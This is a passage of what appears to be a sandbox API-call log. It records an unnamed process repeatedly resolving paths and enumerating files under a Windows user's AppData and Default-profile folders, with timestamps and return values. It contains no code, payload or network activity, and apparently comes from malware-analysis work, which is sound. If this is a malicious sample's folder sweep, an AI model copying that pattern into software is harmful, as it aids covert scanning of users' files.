lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.697] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.698] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.701] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc09ef20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.701] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.703] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.704] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 0x7b [0127.709] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 0x7b [0127.710] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.711] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.712] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 0x7b [0127.713] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 0x7b [0127.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.716] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7d [0127.718] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7d [0127.719] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.720] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.721] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7d [0127.722] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7d [0127.723] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.724] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0127.725] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0127.725] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.726] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.727] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.728] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.729] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.732] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xcc09ef20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc09ef20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0128.245] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3282b3a0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x34280700, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x34280700, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.157] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48\\*.*", lpFindFileData=0x1ed470 | out: lpFindFileData=0x1ed470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x99f73c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x99f73c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x99f73c30, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.466] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A2D24017-4FB1-4B3A-9228-31FD2D620B18\\x-none.16\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x677c3080, ftCreationTime.dwHighDateTime=0x1d466de, ftLastAccessTime.dwLowDateTime=0x78c91d30, ftLastAccessTime.dwHighDateTime=0x1d466de, ftLastWriteTime.dwLowDateTime=0x78c91d30, ftLastWriteTime.dwHighDateTime=0x1d466de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.671] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.674] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5a [0129.679] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5a [0129.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.681] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.682] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5a [0129.683] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5a [0129.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.685] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5a [0129.686] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5a [0129.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.687] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.688] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5a [0129.689] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5a [0129.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.690] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.691] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x53 [0129.692] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x53 [0129.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.694] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.695] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x53 [0129.695] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x53 [0129.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.697] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0129.698] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0129.699] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.700] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.701] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0129.703] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe159e80, ftCreationTime.dwHighDateTime=0x1d2f17f, 